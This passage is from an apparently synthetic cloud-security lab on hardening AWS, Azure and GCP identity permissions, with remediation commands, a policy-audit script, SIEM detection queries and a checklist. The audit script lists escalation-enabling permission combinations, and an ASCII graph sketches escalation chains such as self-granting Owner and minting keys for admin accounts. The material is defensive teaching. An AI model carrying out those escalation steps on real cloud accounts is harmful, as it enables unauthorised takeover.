                "arn:aws:s3:::cybervault-dev-configs/*"
            ]
        },
        {
            "Sid": "AllowLambdaInDevOnly",
            "Effect": "Allow",
            "Action": [
                "lambda:CreateFunction",
                "lambda:UpdateFunctionCode",
                "lambda:UpdateFunctionConfiguration",
                "lambda:InvokeFunction",
                "lambda:GetFunction",
                "lambda:ListFunctions",
                "lambda:DeleteFunction"
            ],
            "Resource": "arn:aws:lambda:us-east-1:111122223333:function:dev-*",
            "Condition": {
                "StringEquals": {
                    "aws:RequestedRegion": "us-east-1"
                }
            }
        },
        {
            "Sid": "AllowPassRoleToDevLambdaOnly",
            "Effect": "Allow",
            "Action": "iam:PassRole",
            "Resource": "arn:aws:iam::111122223333:role/CyberVault-DevLambda-Role",
            "Condition": {
                "StringEquals": {
                    "iam:PassedToService": "lambda.amazonaws.com"
                }
            }
        }
    ]
}

Key Remediations

Compared to the original policy:

  1. IAM read scope reduced — only self-service IAM actions, not List* / Get* on all resources
  2. Lambda scoped to dev-* prefix — cannot create functions with arbitrary names
  3. PassRole restricted — only to a specific low-privilege dev Lambda role, only for Lambda service
  4. Region restriction — Lambda operations limited to us-east-1

Step 2: Azure IAM Hardening

2.1: Remove User Access Administrator from Service Principals

# Remove the dangerous role assignment (SYNTHETIC)
az role assignment delete \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --role "User Access Administrator" \
  --scope "/subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210"

2.2: Implement Conditional Access for Service Principals

{
    "displayName": "CA-Policy-RestrictSP-SYNTHETIC",
    "state": "enabled",
    "conditions": {
        "clientApplications": {
            "includeServicePrincipals": [
                "22222222-3333-4444-5555-666666666666"
            ]
        },
        "applications": {
            "includeApplications": ["All"]
        },
        "locations": {
            "includeLocations": ["All"],
            "excludeLocations": [
                "NamedLocation-CyberVault-Offices-SYNTHETIC"
            ]
        }
    },
    "grantControls": {
        "operator": "OR",
        "builtInControls": ["block"]
    }
}

2.3: Configure Azure AD PIM for Just-In-Time Access

# Assign eligible (not active) role via PIM (SYNTHETIC)
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleRequests" \
  --body '{
    "action": "adminAssign",
    "justification": "JIT access for deployment pipeline - SYNTHETIC",
    "roleDefinitionId": "b24988ac-6180-42a0-ab88-20f7382dd24c",
    "directoryScopeId": "/",
    "principalId": "bbbbbbbb-cccc-dddd-eeee-ffffffffffff",
    "scheduleInfo": {
        "startDateTime": "2026-03-22T00:00:00Z",
        "expiration": {
            "type": "afterDuration",
            "duration": "PT8H"
        }
    }
  }'

2.4: Rotate and Shorten Credential Lifetimes

# Remove the legacy long-lived credential (SYNTHETIC)
az ad app credential delete \
  --id 22222222-3333-4444-5555-666666666666 \
  --key-id 88888888-aaaa-bbbb-cccc-dddddddddddd

# Create a short-lived credential (90 days max)
az ad app credential reset \
  --id 22222222-3333-4444-5555-666666666666 \
  --display-name "ShortLived-Credential-SYNTHETIC" \
  --years 0 \
  --end-date "2026-06-22"

Best Practice: Managed Identities

Wherever possible, replace service principal credentials with managed identities:

# Assign a managed identity to an Azure VM (SYNTHETIC)
az vm identity assign \
  --name cybervault-deploy-vm \
  --resource-group cybervault-rg-SYNTHETIC

Managed identities eliminate credential management entirely — Azure handles token rotation automatically.

Step 3: GCP IAM Hardening

3.1: Decompose the LegacyFullAccess Role

Replace the single over-permissive role with targeted roles following least privilege.

# SYNTHETIC - Hardened Terraform replacing LegacyFullAccess
# File: lab17-hardened-gcp-iam.tf

# Role 1: Storage read-only for ETL source data
resource "google_project_iam_custom_role" "etl_storage_reader" {
  role_id     = "ETLStorageReader"
  title       = "ETL Storage Reader"
  description = "Read-only access to ETL source buckets"
  stage       = "GA"
  permissions = [
    "storage.buckets.get",
    "storage.objects.get",
    "storage.objects.list",
  ]
}

# Role 2: Storage writer for ETL output
resource "google_project_iam_custom_role" "etl_storage_writer" {
  role_id     = "ETLStorageWriter"
  title       = "ETL Storage Writer"
  description = "Write access to ETL output buckets"
  stage       = "GA"
  permissions = [
    "storage.objects.create",
    "storage.objects.delete",
  ]
}

# Role 3: Compute viewer (no create/delete)
resource "google_project_iam_custom_role" "etl_compute_viewer" {
  role_id     = "ETLComputeViewer"
  title       = "ETL Compute Viewer"
  description = "View-only access to compute instances for monitoring"
  stage       = "GA"
  permissions = [
    "compute.instances.list",
    "compute.instances.get",
  ]
}

# Bind with resource-level conditions
resource "google_storage_bucket_iam_member" "etl_source_reader" {
  bucket = "cybervault-etl-source"  # SYNTHETIC
  role   = google_project_iam_custom_role.etl_storage_reader.id
  member = "serviceAccount:${google_service_account.legacy_etl.email}"

  condition {
    title       = "ETLSourceReadOnly"
    description = "Restrict to ETL source bucket only"
    expression  = "resource.name.startsWith('projects/_/buckets/cybervault-etl-source')"
  }
}

resource "google_storage_bucket_iam_member" "etl_output_writer" {
  bucket = "cybervault-etl-output"  # SYNTHETIC
  role   = google_project_iam_custom_role.etl_storage_writer.id
  member = "serviceAccount:${google_service_account.legacy_etl.email}"

  condition {
    title       = "ETLOutputWriteOnly"
    description = "Restrict to ETL output bucket only"
    expression  = "resource.name.startsWith('projects/_/buckets/cybervault-etl-output')"
  }
}

3.2: Disable Service Account Key Creation

# Set organization policy to disable SA key creation (SYNTHETIC)
gcloud resource-manager org-policies set-policy \
  --project=cybervault-prod-2026 \
  /tmp/disable-sa-keys-policy.yaml

# Policy file content:
cat > /tmp/disable-sa-keys-policy.yaml << 'EOF'
constraint: constraints/iam.disableServiceAccountKeyCreation
booleanPolicy:
  enforced: true
EOF

# Delete existing SA keys (SYNTHETIC)
gcloud iam service-accounts keys list \
  --iam-account=legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com \
  --format="value(name)" | while read key_id; do
    gcloud iam service-accounts keys delete "$key_id" \
      --iam-account=legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com \
      --quiet
done

3.3: Implement Workload Identity Federation (Replacing SA Keys)

# SYNTHETIC - Workload Identity Federation configuration
resource "google_iam_workload_identity_pool" "github_pool" {
  workload_identity_pool_id = "cybervault-github-pool"
  display_name              = "GitHub Actions Pool"
  description               = "WIF pool for GitHub Actions CI/CD"
  project                   = "cybervault-prod-2026"
}

resource "google_iam_workload_identity_pool_provider" "github_provider" {
  workload_identity_pool_id          = google_iam_workload_identity_pool.github_pool.workload_identity_pool_id
  workload_identity_pool_provider_id = "github-provider"
  display_name                       = "GitHub Actions Provider"
  project                            = "cybervault-prod-2026"

  attribute_mapping = {
    "google.subject"       = "assertion.sub"
    "attribute.repository" = "assertion.repository"
    "attribute.ref"        = "assertion.ref"
  }

  # CRITICAL: Restrict to specific repository and branch
  attribute_condition = "assertion.repository == 'cybervault/ml-pipeline' && assertion.ref == 'refs/heads/main'"

  oidc {
    issuer_uri = "https://token.actions.githubusercontent.com"
  }
}

# Grant limited SA impersonation only to the specific WIF principal
resource "google_service_account_iam_member" "github_wif_binding" {
  service_account_id = google_service_account.legacy_etl.name
  role               = "roles/iam.workloadIdentityUser"
  member             = "principalSet://iam.googleapis.com/${google_iam_workload_identity_pool.github_pool.name}/attribute.repository/cybervault/ml-pipeline"
}

Step 4: Continuous Compliance Monitoring

4.1: AWS Access Analyzer

# Create an Access Analyzer (SYNTHETIC)
aws accessanalyzer create-analyzer \
  --analyzer-name CyberVault-IAM-Analyzer \
  --type ACCOUNT

# List findings
aws accessanalyzer list-findings \
  --analyzer-arn arn:aws:access-analyzer:us-east-1:111122223333:analyzer/CyberVault-IAM-Analyzer \
  --filter '{"status": {"eq": ["ACTIVE"]}}'
Expected Access Analyzer Findings (SYNTHETIC)
{
    "findings": [
        {
            "id": "finding-001-SYNTHETIC",
            "principal": {"AWS": "*"},
            "action": ["s3:GetObject"],
            "resource": "arn:aws:s3:::cybervault-public-assets/*",
            "condition": {},
            "status": "ACTIVE",
            "resourceType": "AWS::S3::Bucket",
            "analyzedAt": "2026-03-22T10:00:00Z",
            "createdAt": "2026-03-22T10:00:00Z"
        },
        {
            "id": "finding-002-SYNTHETIC",
            "principal": {"AWS": "arn:aws:iam::444455556666:root"},
            "action": ["sts:AssumeRole"],
            "resource": "arn:aws:iam::111122223333:role/CyberVault-CrossAccount-SYNTHETIC",
            "condition": {},
            "status": "ACTIVE",
            "resourceType": "AWS::IAM::Role",
            "analyzedAt": "2026-03-22T10:00:00Z",
            "createdAt": "2026-03-22T10:00:00Z"
        }
    ]
}

4.2: Automated IAM Policy Audit Script

#!/usr/bin/env python3
"""
SYNTHETIC IAM Policy Auditor for CyberVault Technologies
Scans IAM policies for dangerous permission combinations.
Educational purposes only.
"""

import json
from typing import Dict, List, Set

# Dangerous permission combinations that enable escalation
ESCALATION_PATHS: Dict[str, List[Set[str]]] = {
    "AWS": [
        {"iam:PassRole", "lambda:CreateFunction", "lambda:InvokeFunction"},
        {"iam:PassRole", "ec2:RunInstances"},
        {"iam:CreatePolicyVersion"},
        {"iam:AttachUserPolicy"},
        {"iam:AttachRolePolicy"},
        {"iam:PutUserPolicy"},
        {"iam:PutRolePolicy"},
        {"iam:CreateAccessKey"},
        {"iam:CreateLoginProfile"},
        {"iam:UpdateLoginProfile"},
        {"iam:AddUserToGroup"},
        {"sts:AssumeRole"},  # When wildcard resource
        {"iam:PassRole", "glue:CreateDevEndpoint"},
        {"iam:PassRole", "sagemaker:CreateNotebookInstance"},
        {"iam:PassRole", "datapipeline:CreatePipeline",
         "datapipeline:PutPipelineDefinition"},
        {"lambda:UpdateFunctionCode"},
        {"ec2:RunInstances", "iam:PassRole"},
        {"iam:UpdateAssumeRolePolicy"},
    ],
    "GCP": [
        {"iam.serviceAccountKeys.create"},
        {"iam.serviceAccounts.getAccessToken"},
        {"iam.serviceAccounts.signBlob"},
        {"iam.serviceAccounts.signJwt"},
        {"iam.serviceAccounts.implicitDelegation"},
        {"resourcemanager.projects.setIamPolicy"},
        {"iam.roles.update"},
        {"iam.serviceAccounts.actAs", "compute.instances.create"},
        {"iam.serviceAccounts.actAs", "run.services.create"},
        {"deploymentmanager.deployments.create"},
        {"cloudfunctions.functions.create", "iam.serviceAccounts.actAs"},
        {"cloudbuild.builds.create"},
    ]
}

# Sensitive Azure AD roles that indicate privilege
AZURE_SENSITIVE_ROLES = {
    "62e90394-69f5-4237-9190-012177145e10": "Global Administrator",
    "e8611ab8-c189-46e8-94e1-60213ab1f814": "Privileged Role Administrator",
    "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3": "Application Administrator",
    "158c047a-c907-4556-b7ef-446551a6b5f7": "Cloud Application Administrator",
    "7be44c8a-adaf-4e2a-84d6-ab2649e08a13": "Privileged Authentication Administrator",
    "194ae4cb-b126-40b2-bd5b-6091b380977d": "Security Administrator",
    "f28a1f94-e44b-4112-9602-5c22c2bf1060": "SharePoint Administrator",
    "29232cdf-9323-42fd-ade2-1d097af3e4de": "Exchange Administrator",
}


def analyze_aws_policy(policy_document: dict) -> List[str]:
    """Analyze an AWS IAM policy for dangerous permissions."""
    findings = []
    all_actions = set()

    for statement in policy_document.get("Statement", []):
        if statement.get("Effect") != "Allow":
            continue

        actions = statement.get("Action", [])
        if isinstance(actions, str):
            actions = [actions]

        resource = statement.get("Resource", "")
        if isinstance(resource, str):
            resource = [resource]

        for action in actions:
            if action == "*":
                findings.append(
                    "CRITICAL: Wildcard action (*) on resource: "
                    f"{', '.join(resource)}"
                )
                return findings  # No need to check further
            all_actions.add(action.lower())

        # Check for wildcard resources on IAM actions
        if "*" in resource:
            for action in actions:
                if action.lower().startswith("iam:"):
                    findings.append(
                        f"HIGH: IAM action '{action}' with wildcard "
                        f"resource"
                    )

    # Check for escalation path combinations
    for path in ESCALATION_PATHS["AWS"]:
        matched = set()
        for action in all_actions:
            for path_action in path:
                if action == path_action.lower() or (
                    action.endswith(":*") and
                    any(
                        pa.lower().startswith(action[:-1])
                        for pa in path
                    )
                ):
                    matched.add(path_action)
        if matched == path:
            findings.append(
                f"HIGH: Escalation path detected: "
                f"{' + '.join(sorted(path))}"
            )

    return findings


def analyze_gcp_permissions(permissions: List[str]) -> List[str]:
    """Analyze GCP custom role permissions for escalation paths."""
    findings = []
    perm_set = set(permissions)

    for path in ESCALATION_PATHS["GCP"]:
        if path.issubset(perm_set):
            findings.append(
                f"HIGH: GCP escalation path detected: "
                f"{' + '.join(sorted(path))}"
            )

    # Check for individual dangerous permissions
    dangerous_individual = {
        "resourcemanager.projects.setIamPolicy":
            "Can modify project IAM policy",
        "iam.serviceAccountKeys.create":
            "Can create keys for any SA",
        "iam.serviceAccounts.getAccessToken":
            "Can generate tokens for any SA",
        "iam.roles.create":
            "Can create custom roles with arbitrary permissions",
    }
    for perm, description in dangerous_individual.items():
        if perm in perm_set:
            findings.append(f"HIGH: Dangerous permission '{perm}': {description}")

    return findings


# SYNTHETIC example usage
if __name__ == "__main__":
    # Test with the vulnerable DevInternPolicy
    vulnerable_policy = {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": ["iam:List*", "iam:Get*"],
                "Resource": "*"
            },
            {
                "Effect": "Allow",
                "Action": "iam:PassRole",
                "Resource": "arn:aws:iam::111122223333:role/*"
            },
            {
                "Effect": "Allow",
                "Action": "lambda:*",
                "Resource": "*"
            }
        ]
    }

    print("=== AWS Policy Analysis (SYNTHETIC) ===")
    for finding in analyze_aws_policy(vulnerable_policy):
        print(f"  [!] {finding}")

    # Test with the vulnerable GCP role
    vulnerable_gcp_perms = [
        "iam.serviceAccountKeys.create",
        "iam.serviceAccounts.getAccessToken",
        "iam.serviceAccounts.actAs",
        "resourcemanager.projects.setIamPolicy",
        "iam.roles.create",
        "compute.instances.create",
        "storage.objects.get",
    ]

    print("\n=== GCP Permission Analysis (SYNTHETIC) ===")
    for finding in analyze_gcp_permissions(vulnerable_gcp_perms):
        print(f"  [!] {finding}")
Expected Script Output (SYNTHETIC)
=== AWS Policy Analysis (SYNTHETIC) ===
  [!] HIGH: IAM action 'iam:List*' with wildcard resource
  [!] HIGH: IAM action 'iam:Get*' with wildcard resource
  [!] HIGH: IAM action 'iam:PassRole' with wildcard resource
  [!] HIGH: Escalation path detected: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction

=== GCP Permission Analysis (SYNTHETIC) ===
  [!] HIGH: GCP escalation path detected: iam.serviceAccountKeys.create
  [!] HIGH: GCP escalation path detected: iam.serviceAccounts.getAccessToken
  [!] HIGH: GCP escalation path detected: iam.serviceAccounts.actAs + compute.instances.create
  [!] HIGH: GCP escalation path detected: resourcemanager.projects.setIamPolicy
  [!] HIGH: Dangerous permission 'resourcemanager.projects.setIamPolicy': Can modify project IAM policy
  [!] HIGH: Dangerous permission 'iam.serviceAccountKeys.create': Can create keys for any SA
  [!] HIGH: Dangerous permission 'iam.serviceAccounts.getAccessToken': Can generate tokens for any SA
  [!] HIGH: Dangerous permission 'iam.roles.create': Can create custom roles with arbitrary permissions

Step 5: Comprehensive Detection Dashboard Queries

Build a unified monitoring dashboard across all three clouds.

KQL — Multi-Cloud IAM Anomaly Detection

// Unified cross-cloud IAM privilege escalation dashboard
// Panel 1: AWS IAM Escalation Indicators
let aws_escalation_events = AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName in (
    "CreatePolicyVersion", "AttachUserPolicy", "AttachRolePolicy",
    "PutUserPolicy", "PutRolePolicy", "CreateAccessKey",
    "CreateLoginProfile", "UpdateLoginProfile",
    "AddUserToGroup", "CreateFunction20150331",
    "UpdateAssumeRolePolicy", "AssumeRoleWithWebIdentity"
)
| extend Cloud = "AWS"
| project TimeGenerated, Cloud, EventName, UserIdentityArn,
          SourceIpAddress, AWSRegion;
// Panel 2: Azure RBAC Escalation Indicators
let azure_escalation_events = AzureActivity
| where TimeGenerated > ago(24h)
| where OperationNameValue in (
    "Microsoft.Authorization/roleAssignments/write",
    "Microsoft.Authorization/roleDefinitions/write"
)
| extend Cloud = "Azure"
| extend EventName = OperationNameValue
| extend UserIdentityArn = Caller
| extend SourceIpAddress = CallerIpAddress
| extend AWSRegion = ""
| project TimeGenerated, Cloud, EventName, UserIdentityArn,
          SourceIpAddress, AWSRegion;
// Panel 3: GCP IAM Escalation Indicators
let gcp_escalation_events = GCPAuditLogs
| where TimeGenerated > ago(24h)
| where MethodName has_any (
    "SetIamPolicy", "CreateServiceAccountKey",
    "CreateRole", "UpdateRole",
    "GenerateAccessToken", "SignBlob"
)
| extend Cloud = "GCP"
| extend EventName = MethodName
| extend UserIdentityArn = tostring(AuthenticationInfo.principalEmail)
| extend SourceIpAddress = tostring(RequestMetadata.callerIp)
| extend AWSRegion = ""
| project TimeGenerated, Cloud, EventName, UserIdentityArn,
          SourceIpAddress, AWSRegion;
// Combine all clouds
union aws_escalation_events, azure_escalation_events, gcp_escalation_events
| summarize
    TotalEvents = count(),
    Clouds = make_set(Cloud),
    Events = make_set(EventName),
    IPs = make_set(SourceIpAddress)
    by UserIdentityArn, bin(TimeGenerated, 1h)
| where TotalEvents > 3
| extend CrossCloudActivity = array_length(Clouds) > 1
| order by TotalEvents desc

SPL — Multi-Cloud IAM Dashboard

# Unified cross-cloud IAM escalation dashboard
(index=aws sourcetype=aws:cloudtrail
  eventName IN ("CreatePolicyVersion", "AttachUserPolicy",
                "AttachRolePolicy", "CreateAccessKey",
                "AssumeRoleWithWebIdentity",
                "CreateFunction20150331"))
OR
(index=azure sourcetype="azure:activity"
  operationName.value="Microsoft.Authorization/roleAssignments/write")
OR
(index=gcp sourcetype="google:gcp:pubsub:message"
  methodName IN ("SetIamPolicy", "CreateServiceAccountKey",
                 "CreateRole", "GenerateAccessToken"))
| eval cloud=case(
    sourcetype=="aws:cloudtrail", "AWS",
    sourcetype=="azure:activity", "Azure",
    sourcetype=="google:gcp:pubsub:message", "GCP")
| eval event=coalesce(eventName, 'operationName.value', methodName)
| eval caller=coalesce('userIdentity.arn', 'properties.caller',
                       'protoPayload.authenticationInfo.principalEmail')
| eval src_ip=coalesce(sourceIPAddress, callerIpAddress,
                       'protoPayload.requestMetadata.callerIp')
| stats count as event_count,
        values(cloud) as clouds,
        values(event) as events,
        values(src_ip) as source_ips,
        dc(cloud) as cloud_count
    by caller
| where event_count > 3
| eval cross_cloud=if(cloud_count > 1, "YES - INVESTIGATE", "No")
| sort - event_count
| table caller, clouds, events, source_ips, event_count, cross_cloud

Step 6: IAM Hardening Checklist

Use this checklist to validate the hardening applied across all three clouds.

# Control AWS Azure GCP Status
1 No wildcard (*) actions in custom policies Permission Boundaries + SCP Azure Policy Org Policy + IAM Recommender [ ]
2 MFA required for all human users IAM policy condition Conditional Access 2-Step Verification [ ]
3 No long-lived credentials for service accounts Rotate every 90 days; prefer IAM Roles Managed Identities; 90-day max WIF; disable SA key creation [ ]
4 Least privilege role assignments Access Analyzer PIM eligible assignments IAM Recommender [ ]
5 No cross-account/cross-tenant wildcard trust SCP + Access Analyzer Conditional Access + Tenant Restrictions Org Policy + Attribute Conditions [ ]
6 Logging enabled for all IAM events CloudTrail (all regions) Azure AD Audit Logs + Activity Log Cloud Audit Logs (admin + data) [ ]
7 Automated alerts for privilege escalation EventBridge + SNS Sentinel Analytics Rules Security Command Center [ ]
8 Regular access reviews Access Analyzer PIM Access Reviews IAM Recommender [ ]
9 Break-glass accounts secured Root account in hardware vault Emergency Access Accounts Super Admin with hardware keys [ ]
10 Federation trust scoped Subject claim conditions SP restrictions + CA Attribute conditions [ ]
11 Permission boundaries applied All developer roles Custom Azure Roles Custom roles with conditions [ ]
12 Unused credentials cleaned up Credential Report + LastUsed Azure AD Sign-in Logs Policy Analyzer [ ]

Discussion Questions

  1. Automation vs. Manual Review: What percentage of IAM hardening can be automated? Which controls require human judgment and why?

  2. Developer Experience: How do you balance security (least privilege, short-lived credentials) with developer productivity? What self-service mechanisms would you implement?

  3. Compliance Mapping: Map the hardening controls above to specific requirements in SOC 2 Type II (CC6.1, CC6.2, CC6.3), ISO 27001 (A.9), and NIST 800-53 (AC-2, AC-3, AC-6).

  4. Incident Response Integration: How would you integrate IAM monitoring alerts into your incident response workflow? What automated response actions would you configure (containment, investigation, remediation)?

  5. Multi-Cloud Governance: What organizational structure (CCoE, platform team, security team) best supports consistent IAM governance across three cloud providers? How do you handle policy drift?


Bonus Challenge: IAM Escalation Graph

Build a visual graph of all IAM escalation paths discovered in this lab.

┌─────────────────────────────────────────────────────────────────────┐
│                     IAM Escalation Graph                            │
│                     CyberVault Technologies                         │
│                                                                     │
│  [dev-intern]                                                       │
│       │                                                             │
│       ├── PassRole + Lambda:*                                       │
│       │       └──→ [CyberVault-LambdaAdmin-Role]                   │
│       │                   └──→ Action:* / Resource:* (ADMIN)        │
│       │                                                             │
│       ├── iam:CreatePolicyVersion                                   │
│       │       └──→ Modify own policy → Action:* (ADMIN)            │
│       │                                                             │
│       └── iam:CreateAccessKey (for others)                          │
│               └──→ [cloud-admin] credentials                       │
│                       └──→ Full admin access                       │
│                                                                     │
│  [CyberVault-AutoDeploy SP]                                        │
│       │                                                             │
│       ├── User Access Administrator                                 │
│       │       └──→ Grant self Owner role                           │
│       │               └──→ Full subscription control               │
│       │                                                             │
│       └── Application Administrator path                            │
│               └──→ Add creds to high-priv app                      │
│                       └──→ RoleManagement.ReadWrite.Directory      │
│                               └──→ Global Administrator           │
│                                                                     │
│  [legacy-etl-sa]                                                    │
│       │                                                             │
│       ├── serviceAccountKeys.create                                 │
│       │       └──→ Create key for [backup-admin-sa]                │
│       │               └──→ Higher-privilege SA access              │
│       │                                                             │
│       ├── setIamPolicy                                              │
│       │       └──→ Grant self roles/owner                          │
│       │               └──→ Full project control                    │
│       │                                                             │
│       └── Cross-cloud federation (Exercise 4)                       │
│               └──→ Azure AD → AWS Role → GCP SA                   │
│                       └──→ Three-cloud compromise                  │
└─────────────────────────────────────────────────────────────────────┘

Graphing Tools

In production assessments, use dedicated IAM visualization tools:


Key Takeaways

  1. IAM is the new perimeter. In cloud environments, identity misconfiguration is the most common root cause of security breaches. Every IAM policy, role assignment, and federation trust is an attack surface.

  2. Dangerous permission combinations are more impactful than individual permissions. iam:PassRole alone is not dangerous, but combined with lambda:* or ec2:RunInstances, it enables full privilege escalation.

  3. Cross-cloud federation multiplies risk. A single misconfigured OIDC trust or missing attribute condition can allow lateral movement across cloud providers, turning a single-cloud compromise into a multi-cloud breach.

  4. "Temporary" configurations become permanent. The LegacyFullAccess GCP role and long-lived Azure AD credentials are common patterns in real-world environments. Regular access reviews and automated policy scanning are essential.

  5. Least privilege requires continuous enforcement. Initial IAM configurations drift over time as teams add permissions. Use tools like AWS Access Analyzer, Azure PIM, and GCP IAM Recommender for continuous right-sizing.

  6. Detection must span all clouds. IAM escalation events in CloudTrail, Azure Activity Logs, and GCP Cloud Audit Logs should be correlated in a unified SIEM to detect cross-cloud attack chains.

  7. Infrastructure as Code is your friend — but only if you scan it. Terraform, CloudFormation, and Bicep templates should be scanned for IAM misconfigurations before deployment using tools like tfsec, checkov, and cfn-lint.

  8. Managed identities and workload identity federation eliminate entire classes of credential-based attacks. Migrate from long-lived keys to ephemeral, automatically-rotated tokens wherever possible.


Further Reading

Chapters

Labs

External Resources

Certification Study Resources


Lab 17 — Cloud IAM Privilege Escalation | Nexus SecOps All data is 100% synthetic. For educational and defensive purposes only.